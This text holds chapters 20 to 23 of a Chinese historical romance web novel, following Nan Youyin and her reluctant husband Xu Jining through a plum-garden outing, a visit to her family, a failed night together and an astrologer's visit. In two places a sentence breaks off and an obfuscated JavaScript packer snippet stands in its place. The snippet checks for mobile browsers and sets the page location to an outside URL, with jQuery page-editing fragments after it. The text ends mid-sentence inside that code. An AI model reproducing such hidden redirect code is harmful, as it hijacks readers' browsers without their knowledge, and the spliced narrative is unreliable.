徐寂宁站在有些融化的雪地上,右脚小心翼翼的向前探探,踩到松软的泥土,迅速收回来,左脚往前一步,在鞋子陷入雪水和泥水之前又猛地缩了回去。 “你怎么啦?”南有音茫然又迷惑。 徐寂宁看着南有音毫不犹豫地走在雪水泥浆的地面上,感到不可理喻:“你踩进泥巴里了。” 南有音踩在一摊被融化的雪水跑软了的泥巴里,两只脚陷在泥里,泥巴污渍从鞋底蔓延到了鞋面。 “怎么了?”南有音低头看了看自己那两只狼狈不堪的鞋子,并没有寂看出任何问题,她困惑地望着徐寂宁,徐宁一脸嫌弃地皱眉,她忽然间灵光一闪,福至心灵,问道:“你该不会是嫌这些湿哒哒的泥巴路脏?” 徐寂宁从来没有踩在这么泥泞的道路上,他自小生活的京城最繁华富贵的区域,没有泥土路,只有砖石铺平的道路,下雪天有人打扫路面的雪,下雨天则出行坐马车,半分尘土都不会沾染。 徐寂宁站在泥地里忐忑地抬起脚,感觉泥巴好像有吸力一样,要把他的鞋子粘下来,一想到那些脏兮兮的泥水会渗入鞋袜,他就不寒而栗。 南有音腹诽京城的贵族子弟真是够娇气,然后她走到徐寂宁跟前,背对他蹲下了。 徐寂宁有点尴尬:“你这是做什么?” “你不想走,那只好我背着你喽,”南有音思索道,“感觉你不算重,我估计背你没问题。” 说完她还冲着徐寂宁自信满满地笑了一下。 “你,你这——”徐寂宁脸又红了,让南有音背着他简直像什么话! 他窘迫道:“你起来,我自己能走。” 他跟在南有音身后,一脚浅一脚深,泥水和雪水打湿了他的鞋袜,这种感觉很不好,比他想象的还要可怕,他蜷缩着脚趾,全部的注意力都放在脚上了,直到南有音快活地在树林间转圈,并告诉他已经到了梅花园的最深处,他才恍然意识到周围的景色仿佛仙境。 低矮的淡色梅花与红梅花相映成趣,中心一颗红梅有些年岁了,异常的粗壮高大,枝干苍虬,硕大的树冠间开满了的红梅花,重重叠叠地怒放,北风一吹,花瓣颤抖,仿佛火焰在蔓延。 徐寂宁呆呆看着热烈明艳的巨大红梅,似是要燃烧尽天边的景象给予他巨大震撼,这团烈焰红梅烧得他脑袋空空的,都没注意到南有音藏在梅花的枝丫间冲着他笑。 南有音笑不是因为别的,只是因为徐寂宁盯着梅花愣住了,脸上的表情像是凝固了,好久没有变了。 “喂,宁哥哥,魂儿被梅花仙子勾走了么?” 徐寂宁猛然回神,南有音躲在梅花里笑,纤细枝条在她脸上投下几道阴影,她浓重眉眼间的热烈笑容于鲜艳欲燃的梅花很是相称,徐寂宁头一次发现原来她的唇瓣与红梅是那么的相似。 南有音从梅花丛跑过来,弯曲的枝干勾散了她的发髻,几缕飞扬的青丝与她随性恣意的笑容配合巧妙,让徐寂宁小小的晃神。 而在这小小晃神其间,南有音被坑坑洼洼的地面绊了一下,一个踉跄扑在徐寂宁身上,徐寂宁下意识搂住了她,她则吻了吻他的面颊。 后来南有音也说不出自己那天究竟是无意还是故意,究竟是因为那个意外的踉跄,还是因为徐寂宁望着她的眼神像让人着迷,总之,她的嘴唇轻轻蹭过了徐寂宁的脸颊。 而后两个人久久没有说话,静静暗香浮动的梅园中沐浴冬日午后的阳光,直到园中飞鸟振翅,扇动翅膀的声音像是一把飞箭,划开了南有音与徐寂宁两人之间独有的时空。 徐寂宁大梦初醒一般,迟钝地摸了摸脸颊,刚刚好像有梅花蜻蜓点水的掠过这里,他还嗅到了梅花凛冽的香气,南有音散乱的头发上带着花瓣,这似乎是香味的来源。 南有音的心骤然跳的很快,她咬了咬嘴唇,像是在回味那俶尔一瞬,接着一阵激动迅速蔓延,强烈的满足感让她伸手抱住了徐寂宁,她仰着头,脸有点红,大声说道:“宁哥哥,我真是太喜欢你了!” 徐寂宁的脸又红了,南有音随手折了一支红梅挂在他的耳边,嘻嘻哈哈道:“你的脸又红了,和梅花交相辉映,很好看也很好玩。” “什,什么啊!”徐寂宁的心慌乱地要跳出来了,他不敢再看南有音了。 南有音咯咯笑着,叽叽喳喳说个不停,不一会儿的功夫摘了好多梅花,插在徐寂宁的发冠上。 一阵强烈的冷风吹过来,吹得花瓣翻飞,吹得人呛了口气,吹得南有音裹紧了身上的衣裳也,吹得徐寂宁晕晕乎乎的脑袋冷静了下来。 风持续了好久才停,风一停下,南有音就察觉到好像有什么被风吹走了。 徐寂宁注视着她,眼神不似刚刚那样躲闪茫然,也不似她吻他前那样温柔绻缱,他的眼底充满了困惑,就这样望着她,好像有无尽的无奈。 这样的目光让南有音想起了成婚当晚,那一夜徐寂宁就曾这样静静注视着她。 她试探着唤了一声:“宁哥哥?” “起风了,马上变天了,”徐寂宁抬头看了一眼天,刚才还明媚的太阳被一大片云遮住了,他僵硬地缓缓将南有音揽在自己身上的手拿开,说道,“咱们回去吧。” “也是,”南有音轻快地重复道,“咱们回去吧。” 她带着徐寂宁沿着原路返回,一路上鞋袜浸在泥水里,冻得脚趾都麻木了,这间接导致了徐寂宁尝试了十二次也没能成功翻墙。 南有音坐在墙头不厌其烦地指导了一次又一次,语气则愈发温声细气,如同哄孩子一样,徐寂宁觉得她把自己当成徐甲或者徐乙了。 “你回去之后应该苦练爬墙。”在徐寂宁满头大汗地狼狈爬上墙头时南有音如是说。 她还说她在考虑好好教一下侄子徐甲爬墙与爬树。 徐寂宁小小惊讶了一下:“你还会爬树?” “这是必要的技能呀,”南有音摇头叹气,“你们京城的人怎么什么 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徐寂宁嘴角扯了一下,这或许是他打下生以来走过的最长的一段距离,徐府出行向来能有马车,很少会真的用到自己的两根腿。 但南有音显然没有把徐寂宁的虚弱归结为缺乏锻炼,可能是因为她意识不到有人从小一出门就有马车等着,她最终归因于徐寂宁光和南玉振忙着觥筹交错了,没吃几筷子东西,体力不支。 “下次你不要理玉振的挑衅,”南有音说道,“没必要硬着头皮喝酒。” “没有硬着头皮喝,毕竟是北地的潺山酿,算是极好的酒水,”徐寂宁指出了问题的关键,“只是玉振好像对我很有意见。” “是啊,”南有音也困惑道,“也不知道你哪里惹到他了,从我和你订亲开始他就不怎么待见你,那个时候你们明明连面都没见过,简直莫名其妙。” 徐寂宁想起他平白无故讨厌一个人的情形了,那时母亲主张要徐静祺与薛家次子结婚,他也不愿给薛家人什么好脸色。 他说道:“玉振只是不愿你嫁人而已。” 谈话间两人已经走到了南家门口,远远的就看见门口一左一右两个人影,一个穿着水绿色的衣服,一个斜倚着门,傍晚的夕阳让他们的脸颊笼上一层淡淡的橙色光泽,也把他们影子都拉的特别长。 是南玉振在与松梯说话,也不知两人说了什么,一会儿一个捂着嘴笑起来,另一个扶着墙笑。 徐寂宁头一次见到南玉振笑,有点不适应。夕阳温柔的光线使得南玉振高鼻深目的五官少了很多尖锐的感觉,但仍能看出他的笑容热烈张扬,同他姐姐很像。 徐寂宁轻声对南有音说道:“原来你弟弟还会笑啊。” “你这说的什么话?他当然会笑啊!”南有音莫名其妙。 但在看到徐寂宁的一瞬间,南玉振脸上的笑“嗖”地消失了,他那恰到好处的嘲讽腔调让人很不舒服:“呵,京城四体不勤的废物回来了。” 21. 梳头 南玉振每次说话都能让徐寂宁难堪,这次也不例外。 他说徐寂宁四体不勤,徐寂宁这会儿脚疼得要命,懒得搭理他,只想抓紧进屋歇着。 但南玉振显然不想放过他,他忽视了南有音充满警告意味的眼神,继续皱眉质问:“你们两个上哪去了,怎么搞得蓬头垢面的?” 南有音头发散了,鞋子裙边都脏兮兮的,徐寂宁更狼狈,衣冠不整,头上还乱糟糟的插着好多梅花。南玉振“啧”了一声,毫不犹豫地表现出对徐寂宁头上插梅花的品味的嫌弃。 徐寂宁有些尴尬,后知后觉想起来南有音给他戴的那些梅花他忘了取下来,他生硬地说道:“你要是不喜欢也没办法,那是你姐姐插的。” 说完他对着一旁的松梯招了招手,吩咐她找些替换的衣物。 南玉振却又说:“京城人果然惯会使唤人。” 南有音感到无比地恼火,她跟松梯说起自己家里,提到弟弟总说他真诚又善良,现在倒好,弟弟当着松梯的面三番五次的嘲讽徐寂宁,尖酸刻薄的一面表现的淋漓尽致。 徐寂宁则更尴尬了,他的手对着松梯,一时间招也不是不招也不是,僵在了那里。 眼看南有音眉头越拧越紧,好像马上要揍南玉振一顿,松梯连忙解围道:“玉振少爷,我是徐府的奴婢,小少爷有什么吩咐都只是我分内的事而已。” 南玉振轻哼了一声,语气里充满了火药味:“什么奴婢少爷的,不过是有些人天生运气好,投了个好胎罢了!” 他缓了缓语气,又继续说道:“松梯姑娘,你真的不用称我为少爷,你比起我们又不差什么,何必妄自菲薄。” 松梯有些惶恐,她侧了侧身子,躲到了南有音身后,小声道:“玉振少爷,请不要让我为难。” 南玉振说道:“松梯姑娘,我和你是一样的人,没有什么贵贱之分。” 南有音对着弟弟嘟囔道:“你原来还会说人话。” 松梯有些出神,她意识到在某些方面南氏姊弟是惊人的相似。徐寂宁亦有些讶然,一直到他躲开了南玉振这只拦路虎回到东厢房时仍感怅然。 南有音换好鞋袜还没来得及就打理头发就被南老爷叫走了,屋内一时只剩徐寂宁与松梯,松梯一下一下梳着徐寂宁的头发,在梳子与头发的摩擦声间夹杂了一声叹气。 “真怪,”徐寂宁喃喃道,“他们两个……” 松梯知道徐寂宁与她想得是同一件事——南家姊弟跟三小姐有些像,三小姐徐静祺常挂在嘴边的就是自由平等,时不时嚷嚷主人奴婢的分别有多么不合理。 南有音顶着一头乱发来到南老爷的书房,南老爷一脸的憔悴,显然今中午一顿饭把他喝的够呛。 南有音道:“爹,你酒力不好,没必要硬跟玉振他们喝。” 南老爷揉着太阳穴,声音还哑着:“不喝怎么能行,寂宁毕竟是尚书家的四公子,玉振一个劲儿的灌酒,我也不好不喝,人情往来还是得重视些。” 南有音埋怨道:“爹,你是他丈人,应该让他好好孝敬你,让他去想那些弯弯绕绕的人情往来。” 南老爷摆手道:“这也没办法的,玉振将来恐怕还得指望他们徐家。” 南有音觉得有些不是滋味,南老爷已经五十多岁了,却仍为了儿子的前途去讨好二十出头的女婿。 “阿音,走近点,”南老爷看出女儿的不快,他轻轻撩起女儿脸前的碎发,为她别在耳后,认真端详着她,然后刮了刮她的鼻子,笑道,“快一个月没回来了,难道没想你爹?” “当然想呀。”南有音闷声道。 “你娘跟玉振天天念叨你,我这耳朵都快起茧子了。”南老爷道,“你好不容回来一趟还把头发弄得这么乱——” 他指了指地上一个凳子:“坐下吧,我给我的小姑娘好好梳梳头发。” “好久没给你梳头发了,在徐府谁天天给你梳头?”南老爷散开女儿的发髻,捻起梳子,娴熟地替她打理头发。 南有音轻声回答道:“松梯,就那个跟我一块来的丫鬟,她对我可好了,每天变着花样给我盘发髻。” “你娘还担心在徐府没人天天帮你盘发髻呢,我说你这么讨人喜欢,只会有人争着抢着替你梳头,压根不用担心。”南老爷从女儿头发上摘下一片花瓣,于是问道,“你和寂宁跑哪里野去了?” “后边的梅花园。” “你们怎么去的?该不会是走去的吧?” “不然呢?”南有音反问。 南老爷忍不住笑了:“徐家那样的人家,出门都用不着自己走,估计寂宁没走过那么远的路,应该累的不轻。” 南老爷不无怀念的想起若干年前与徐寂宁的父亲徐朗共事的经历,他通过徐朗可算见识了京城公子哥儿的手不能提肩不能抗,有一年大旱,井里水浊了,每日都要走一公里挑水,徐朗虽然个子高,却一桶水也挑不起来,只得麻烦南晨颂帮他,叫他在家等着他心里过意不去,陪着南晨颂来回走了几趟山路,倒把脚上磨出泡来。 南老爷理顺南有音打结的发丝,问道:“徐家人对你好吗?” “挺好的,我和大哥家的两个小侄子关系最好。” “你平时见得到徐老爷吗?他身子骨怎样?” “很少见,他总是忙公务,本就很少回府,就算他在府里,我有事也是见徐太太,”南有音回忆着她跟徐老爷见得寥寥几面,说道,“徐老爷的身体嘛,我看不出什么毛病,只是感觉他没太有活力。” 南有音一直觉得徐老爷的两只眼睛像两口古井,毫无波澜,南老爷说自从徐郎的三女儿走了之后人就那样了,像是被抽走了半条魂一样。 “爹,你问徐老爷做什么,该不会想跟他叙叙旧?” 南老爷问南有音想梳什么样的发髻,得到南有音的回答后他一边忙着打理头发,一边叹气:“叙什么旧呀,人家是堂堂礼部尚书,你爹我只是个不入流的小官,跟他差距太大了,早说不上话了。” “可是你和他是亲家呀。” “只怪你爹没本事没运气,几十年了,还是小官,连累着你和玉振跟着受苦。”南老爷最后为女儿发髻插上一只簪子装点了一下。 “怎么会呢?若不是爹,我和玉振还不知道在哪儿吃西北风呢!”南有音激烈地抗议,她和玉振年幼时都吃不饱肚子,南老爷收留了他 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南有音记得出嫁那日就是父亲给她梳的头发,那一天父亲用了格外长的时间为她梳头,彼时梳子一下一下梳着她的长发,有节奏感的摩擦声听得她昏昏欲睡,她还没有意识到第二天为她盘发的不再是父亲了。 望着父亲因过量饮酒而蜡黄的脸,她终究是心里有些不忍,对南老爷说道:“玉振的事我去问问宁哥哥。” “阿音,难为你了,”南老爷苦笑道,“你在徐府孤孤单单的,我和你娘也没有什么门第背景能为你撑腰……” “别这样说,”南有音轻轻打断父亲,“当年你和母亲回宗族挑一个孩子过继,若不是你们怜悯流浪的我,说不定我现在早死了。” “胡说!”南老爷信誓旦旦道,“我的女儿阿音最有福分,不论如何都会长命百岁。” “那我爹也是!”南有音开心地笑了,她与父亲又说了些徐府的琐事,说着说着说到了尚书徐朗,南老爷叹气说徐家三小姐死后徐朗的仕途也开始逐渐枯萎,虽然不像过去那样风光,但为玉振安排还是绰绰有余。 话音刚落,书房的门“咣当”一声被打开了,南玉振裹挟着一阵冷风闯了进来,他听到了南老爷后半截话,怒气滔天。 “爹,我说了多少遍了!不要为我求仕途,更没有必要把姐姐送到徐府为我铺路!”他拉着南有音的手腕,怒气冲冲地拽着她大步离开书房,出门前南有音又回头看了一眼,父亲缩在一处阴影里,显得无比的苍老颓唐。 “你不要听爹的!”南玉振大声说。 南有音尝试缓和一下:“爹也是为你着想,毕竟你读书确实不好” “我不需要!”南玉振恶狠狠道,“天下又不是只有科考这一条路子!” 他压着怒气说道:“姐姐,你不要为了我在徐家低声下气,你要昂着头,挺直腰板,你要在徐家过得不好就回来,不用顾忌爹,我会向着你的。” “我在徐府挺好的,”南有音再次解释,“我愿意嫁给徐寂宁是因为我喜欢他,不是因为爹或者其他的。” 南玉振盯着姐姐质问道:“徐寂宁有什么好的?” “他……”南有音一时说不出什么。 南玉振恨恨道:“你看,他对你也就不过如此。” 22. 失败 从南府离开时天已擦黑,南有音心事重重地踏上马车,一方面是临行前母亲又一次嘱咐她尽早生个孩子让她苦恼不堪,一方面是父亲对徐寂宁的讨好和殷勤让她心里酸酸的,还有一方面是南玉振没有露面送别,她担心他在跟父亲置气,最后是她想到她又要离开家了,于昏暗天光下看到熟悉的街景渐渐远去,心终于是坠坠的,像是吸满了水的抹布一样,潮湿阴郁。 回到徐府后,南有音没滋没味地吃了顿晚饭,然后就躺在床上,徐寂宁和松梯都被徐太太叫走了,想必是要问他们南家的事。 南有音脑子乱乱的,想着回家发生的那些事,一会儿考虑自己的未来,一会儿又替南玉振发愁,但最后想得最多的还是梅花园里意外落下的吻。 她回忆徐寂宁的神情,从他的眼角眉梢到嘴角的起伏,不放过任何一个细节,揣测来揣测去,最后从一个含糊不清的眼神里模模糊糊地解读出“他应该是喜欢我的”,于是心里竟忍不住小小雀跃起来,脸上也得意地微微笑着。 她泛泛地想着她与徐寂宁间的喜欢,觉得他们这夫妻总不能有名无实,她开始思考该如何跟徐寂宁把这事儿办了,不然老觉得他俩还不是真正的夫妻,她想入非非,在此时卧房的门开了,吓了她一跳,徐寂宁一瘸一拐地走了进来。 南有音奇怪道:“你这是怎么了?太太揍你了?” “腿酸,脚疼。” 被南有音拉着走了几公里后,徐寂宁疲倦到不愿意多说话。 他洗漱好,坐在床边,今晚南有音老老实实躺在被子里,没在拉扯他,他小小松了口气,以为她也累了,全然没有察觉她正在筹划着什么。 他乏力地揉了揉两条酸到发涨的腿,而后艰难地把两条无比沉重的腿抬进被子里,在躺下的一瞬间感受到腰背的骤然放松,舒服到几乎发出满足的喟叹。 “今日你也累了,早点休息吧。”他吹灭了灯,像往常一样贴在床边睡,跟南有音之间的距离大到可以再塞下一个人。 因为白日的奔波,今晚他入睡好像格外快,在迷迷糊糊即将陷入深眠时,他感到有人抓住了他的手腕,引着他的手往什么地方去。 很快他的手到达了目的地——一片温热细腻的肌肤,感觉像是……南有音的腰? 接着他感到身上沉重不堪,好像有人跨坐在他的身上。 “嗯?”他含混不清的呢喃了一声,接着一种柔软的东西轻轻掠了一下他的嘴唇,这种感觉让他下意识地想到了红色梅花…… 他睁开眼,南有音的脸离他很近,他都能感觉到她鼻尖的呼吸。 他困惑道:“有音?你——” 南有音迅速敏捷但也非常笨拙地亲了亲徐寂宁的唇吻,阻止他说出更多的话。 但徐寂宁挣扎着推开了她,点起了床头的灯,烛灯莹莹如豆,映衬着南有音的酮体,流畅的曲线若隐若现,起伏处投下浅浅的阴影。 徐寂宁感到嗓子有些发干,他慌乱地闭上眼,两颊和耳朵都红了,摸索着用被子裹了裹南有音,声音沙哑地结结巴巴道:“天冷,小心着凉。” 虽然南有音的两颊也发红,也一样的不好意思,但她仍很是不满:“你睁开眼睛!” “可是你……”徐寂宁支支吾吾,“你没穿衣服……” 南有音道:“你这不什么都看见了,还闭着眼做什么?” 但徐寂宁仍然闭着眼,在南有音好奇他是不是睡着了,低头吻了吻他的眼睛时,他的睫毛抖动,让南有音嘴唇痒痒的,然后她听到徐寂宁轻轻叹了一口气。 南有音感觉这轻飘飘的一声叹息变成了一阵凉飕飕的风,让她瞬间觉得很冷。 徐寂宁对她说:“有音,休息吧,今天太累了。” 在徐寂宁忐忑南有音是否还会继续时,他感到身上一轻,南有音重新躺下了,背对着他,一动也不动,看起来毫无生气。 徐寂宁不确定她是不是真的放弃了,疲倦道:“有音,以后还是少折腾我了。” 南有音不太开心,她听到徐寂宁的话后更难过,她觉得徐寂宁面对她时除了慌乱和无奈之外就没有其他情绪波动。 她裹紧了被子,为自己的失败感到恼火,甚至逐渐感到委屈起来,她小声问道:“宁哥哥,你不会,不举吧?” 这个问题的荒唐程度让徐寂宁下意识笑了,甚至轻轻笑出了声,他先是觉得荒唐,而后觉得无比苦涩,细微的笑声最终变成了苦笑,凝结在唇间。他仍不知道如何与她相处,即便同床共枕,他也不敢碰她。 他熄了灯,在黑暗中重复道:“睡吧。” 但很久徐寂宁都没有睡着,南有音也是,她的身体随着脑内纷飞的思绪在床上翻来覆去,她回忆着年少时与徐寂宁的相遇,回忆新婚夜,回忆白昼梅花园的吻,回忆上一刻她伏在徐寂宁身上时徐寂宁的古井无波…… 她心乱的睡不着,轻轻喊了徐寂宁一声:“宁哥哥……” 徐寂宁也醒着,他又一次重复道:“睡吧,明天说不准很忙。” “我在想事情,睡不着。” “你在想些什么?”徐寂宁问道,他在想事情。 南有音在想的事情与徐寂宁所想的事惊人的相似,她说:“我在想我们到底算不算夫妻。” 徐寂宁犹豫了一下,开口时声音有些哑:“三姐活着的时候常说只有不因父母逼迫两心相许的人才可以结为夫妻,松梯说明媒正娶,同床共枕,便算是夫妻。” “那我们呢?”南有音不依不饶地追问。 沉默了很久之后,枕头的另一侧才传来徐寂宁的声音,他说:“……或许算吧。” “或许?”南有音重复道,这两个字在她的唇舌转了一圈,她咀嚼揣摩,脑海里莫名浮现出南玉振那句“你看,他对你也就不过如此”。 徐寂宁有些心虚,他还没想好南有音如果继续追问“或许”他该怎么回答,但南有音只是幽幽一叹。 南有音想起了弟弟南玉振,继而想起了父亲的嘱托。 她转过身来,面朝徐寂宁:“我爹本想问问你玉振的事儿,但酒席上他先醉了。” 徐寂宁困惑:“玉振有什么事需要问我。” 南有音向来直截了当:“我爹说玉振读书不行,科举无望,想麻烦你爹将来给他谋个一官半职的,他说让我探探你和你爹的意思,所以你是什么意思呢?” 徐寂宁没明确说他什么意思,他含含糊糊说父亲和大哥其实都考过科举,是正儿八经的进士出身,二哥虽然没有科考,却也声名远扬,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445782|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇帝亲自钦点的修史官。 南有音觉得徐寂宁没有说道点子上,她指出道:“可是你现在的官职是靠爹的门荫吧。” 徐寂宁称是,又说:“我虽不如大哥和二哥,靠着父亲门荫入仕,但我也是规规矩矩读过几年圣贤书的。” 南有音算是明白徐寂宁拐弯抹角一通话的意思了:“你是嫌我弟弟书读得不好。” 徐寂宁沉默了,这次不是因为不知道说什么好,而是表示默认。 南有音当然知道南玉振在四书五经上一塌糊涂,甚至连她也比不上,她有时候也奇怪弟弟难不成真是个榆木脑袋,南老爷更是唉声叹气,他贫苦出身,寒窗苦读没几年,年纪轻轻就中了进士,在读书方面可谓聪明绝顶。 当年为了节省费用,南老爷亲自教导儿女读书,但教着教着,女儿勉勉强强合上跟得上他的节奏,儿子则完全烂泥扶不上墙,他气得七窍冒烟,跟夫人说有些钱就得让别人挣,专门给南玉振请了一位博学多识的老先生,然而情况也没有好转太多,那位老先生更是摇头直接说南玉振压根就不是读书的料。 虽然南玉振读书不行大家都心知肚明,但徐寂宁这样暗戳戳地指出来还是让南有音有点生气,可能出于护短的心理,也可能因为她品出几丝徐寂宁瞧不上自己弟弟的感觉,她替弟弟辩护道:“他只是读书不好,又不是什么都不行。” 徐寂宁则用委婉的话语表示玉振连最简单的读书都做不好,其余也未必能好到哪里去。 南有音不服,她说乡里好多人连字都不认识,也不妨碍他们是勤劳善良的好人。 徐寂宁却说乡里人不识字不读书,所以有时愚昧至极。 南有音在黑暗中迟缓而困惑地眨着眼睛,但黑夜蒙住了她的眼睛,使得她什么也无法分辨,她感到茫然无措,完全不相信那些高高在上惹人恼火的话语是她的宁哥哥说出来的,于是她问:“是不是玉振说话太刻薄了,你对他有意见,才故意这么说的?” 徐寂宁说:“我跟他计较什么,我同他那么大时,虽然没有他那么刻薄,但也没好到哪里去。” 南有音感到心一点一点沉了下去,她强撑着追问:“那玉振的事你会帮忙吗……” “有音,”徐寂宁轻轻叹气,“今天你忽然——” 他不好意思说南有音今晚忽然突然这么主动。 他轻咳一声,声音里充满了疲倦:“——忽然这么反常,该不会是为了南老爷和玉振的名利仕途吧,当初南老爷把你嫁过来,恐怕不是没有攀附权贵的心思。” 南有音很久没说话,再开口时声音听起来很是伤心,她声音颤抖,像是在质问一般轻声道:“难道你还不明白我吗?还是觉得我是为了你家的权势吗?” 徐寂宁沉默了一会,不忍心看南有音肩膀颤抖个不停,他不知道她是不是哭了,但抬手做了他所能做出的最亲昵地动作,像他小时候的大哥二哥常对他做的那样,他拍了拍她的脑袋,说道:“我知道的,睡吧。” 南有音的声音又闷又小:“真的吗?你真的知道?” “嗯……” “我喜欢你呀,宁哥哥。”南有音喃喃道,“你看得出来吧……” “……我知道。” 无奈又悲哀。 23. 卜算 正月初二陪着南有音回了一趟南家,初三在家又呆了一天,徐寂宁像是完成任务一样迫不及待地溜了,他说官署需要人值班,大哥徐默安也这样说,于是在很长一段时间里,徐府没有这两个人的踪影。 直到正月十五的前一天,徐老爷传出消息说钦天监的人要来,徐寂宁与徐默安两个人才也出现在各自院子里了。 南有音对即将到来的钦天监好奇极了,这种好奇差点冲淡了她见到徐寂宁的喜悦,徐寂宁这次回来仍是给她带了一盒点心,这次不是花卉样式,而是小动物的图案,还是惟妙惟肖,甚至都有着动物皮毛那种毛绒绒的质感。 南有音围着盒子看了又看,还是舍不得吃,上次的点心她没舍得吃带回娘家给父母了,这次的点心她又小心收好了,想着之后托徐府小厮跑一趟腿。 徐寂宁看出了她的心思,说道:“这点心我买了两盒,这盒是你的,你吃就行,另一盒已经派人给南老爷家送去了。” 于是南有音放心的吃了一个抹茶味的老鼠,然后又舍不得吃了,她把那些糯米鹅枣泥小狗红豆小猫之类的分给了松梯和院子里的丫鬟们,点心数量不够,她之后把可爱的点心“肢解”了再瓜分。 最终徐寂宁院子里的每个人手里都有小小一块点心,大家捧着点心聚在一起,讨论彼此的点心是什么形状什么口味,尝试把成块的点心重新拼成一个完整的动物,南有音和她们一起笑嘻嘻的,嘻嘻哈哈的声音随着风飘到天上,好像冲散了那种冬天天空特有的灰蒙蒙的云,使得几点阳光投了出来。 徐寂宁看着这一幕,咬着南有音挑给他的绿豆鸭屁股,开始思索下次该多带几盒点心。 徐寂宁回府是因为徐太太说钦天监的人要来,但钦天监的人迟迟不来,大家从清晨就翘首以望,晌午大家用完午饭,甚至小小歇息了一会儿,钦天监的人还没有来,一直到快要吃晚饭,徐寂宁开始怀疑母亲是故意找借口把他叫回来跟南有音同房时,钦天监的人终于来了。 南有音大为失望,主要是钦天监派来的这位张大人与她读过的话本里描述相差太多了,她想象中的钦天监里满是白须飘飘的能人异士,能够呼风唤雨,但眼前这位张大人是一个干瘦的老头,脸上的皱纹使得他看起来酷似一颗话梅,南有音甚至觉得这位张大人还不如之前来的山羊胡子林太医看起来仙风道骨。 但徐夫人对张大人异常的热情与恭敬,她指挥丫鬟们端茶倒水,送上各类点心干果。徐寂宁对母亲的殷勤不屑一顾,跟一旁的大哥小声咬耳朵:“太太什么时候变得这么迷信这些神神鬼鬼的东西了?” 徐缄平苦笑了一下,说道:“还不都是因为你。” “因为我?”徐寂宁很惊讶。 徐缄平道:“你之前病得那样重,药石罔顾,太太急病乱投医,依照张大人给得法子操办,没想到你真活了下来,从那以后就一直相信这些神神鬼鬼的事了。” “张大人给的法子?”他还想继续追问大哥,但徐太太发话了,徐缄平只好丢下徐寂宁,上前带着张大人往自己的院子去。 在院子门外就听到小乙的哭闹声了,徐乙身体就丁点儿大,嗓门倒是震天响。 徐夫人说小乙这么大了还总是无缘无故的哭,想请张大人看看是不是有什么蹊跷。 徐寂宁嘀咕:“能有什么蹊跷,就是小乙天生爱哭而已。” 一旁的南有音示意徐寂宁别出声,她目不转睛地盯着张大人,想看他要做什么法,然而她又大为失望。 这位张大人什么仪式也没有做,没有焚香祷告,也没有念咒施法,他只是摸了摸院子里的树,摸了摸墙上的砖,最后走到一脸警惕的宋知落跟前,笑眯眯地看着她怀里眼泪还没干的小乙,抬手戳了戳他的额头。 徐夫人紧张问道:“张大人,徐乙总是哭是……” 徐夫人的紧张让南有音也紧张起来,她跟两个小不点侄子的关系很好,徐寂宁不在家的日子里她常叫两个小侄子去她院子里玩,她试着偷偷教他们爬树,但不怎么成功,因为徐乙总是哭,大多数的时间里她和徐甲都在哄这个爱哭鬼。 张大人摆手说并无大碍,他说了一通奇奇怪怪的五行八卦术语,最终的结论是小乙命格弱,年幼时要多赖父亲庇护,多跟亲生父亲接触,自然就不会再那么能哭了。 南有音小小松了口气,她之前老担心小乙是身体先天不足才总是哭个不停,她转头对着徐缄平说道:“大哥日后可要多陪陪嫂嫂和小甲小乙,小甲还总盼着你带着小崔太史来家里吃饭呢。” 话音刚落,她就发现徐寂宁用荒谬而古怪眼神注视着自己,她有些困惑,继而发现院子里除了她和钦天监的那位张大人,其余人神情都有些古怪。 徐太太向来威严的脸上冒出了有些尴尬的神情,大哥徐缄平在苦笑,大嫂宋知落则低垂着眼帘,让人捉摸不透,徐寂宁脸上露出一种欲言又止的神态,拽了拽南有音的袖子叫她不要再说了。 最后是徐太太打破了这凝固的氛围,她说天不早了,要留张大人用晚饭,但张大人推辞说他最近在辟谷,但徐夫人还是不放人,她说上次张大人治好了小儿子的病的事她还没有当面好好感谢,说什么也要张大人喝杯茶再走。 徐太太带着她的一众人马走了,院子里只剩南有音徐寂宁和大哥一家,宋知落没说什么,抱着小乙低头往屋里走,南有音被徐甲拉走了,徐甲说他最近在学写字,要给小婶婶看看他的字。 最后院子里只剩下徐寂宁与徐缄平,两人面面相觑,最后徐缄平说:“我要回官府了。” 徐寂宁说:“我也走。” “你不陪陪有音?” 徐寂宁沉默了。 这一晚徐寂宁终究还是没有走成,因为临出门前他碰上了钦天监的那位张大人。 张大人满脸笑盈盈的,向他拱手:“听闻小公子不久前成婚,可喜可贺,可喜可贺!” 他一连说了两个可喜可贺,但徐寂宁不觉得有什么,而是问道:“太太说您曾治好了我的病,我不太记得了,大人可否仔细说说。” 徐寂宁对他此前病入膏肓有印象,他知道自己差点病死了,但不知道自己怎么好起来的,好像莫名其妙的就康复了,然后莫名其妙的就娶了南有音。 张大人摇头说:“与其说是我治好了小公子的病,倒不如说是小公子的夫人救了您一命。” 徐寂宁面露茫然,他不记得南有音会什么医术。 “当初小公子病重,您的母亲找到我,请求我救救你,我起了一卦,要救你也不是没有办法,只是条件苛刻的很,需要找个一个龙年甲辰月甲辰日又是辰时出生的姑娘,这姑娘与你天造地设,你两个订亲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445783|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 